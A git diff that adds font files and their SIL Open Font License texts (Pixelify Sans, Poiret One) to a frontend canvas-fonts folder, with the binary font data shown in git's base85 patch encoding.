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 b&ST_5FT?6{!OXGxD$D9(ZttX)6I%ZRA$oY< literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/PixelifySans-OFL.txt b/skills/frontend-dev/canvas-fonts/PixelifySans-OFL.txt new file mode 100644 index 0000000..b02d1b6 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/PixelifySans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/PoiretOne-OFL.txt b/skills/frontend-dev/canvas-fonts/PoiretOne-OFL.txt new file mode 100644 index 0000000..607bdad --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/PoiretOne-OFL.txt @@ -0,0 +1,93 @@ +Copyright (c) 2011, Denis Masharov (denis.masharov@gmail.com) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/PoiretOne-Regular.ttf b/skills/frontend-dev/canvas-fonts/PoiretOne-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..b339511b02ea2c25722c8c975e7018e8efcaa217 GIT binary patch literal 45244 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 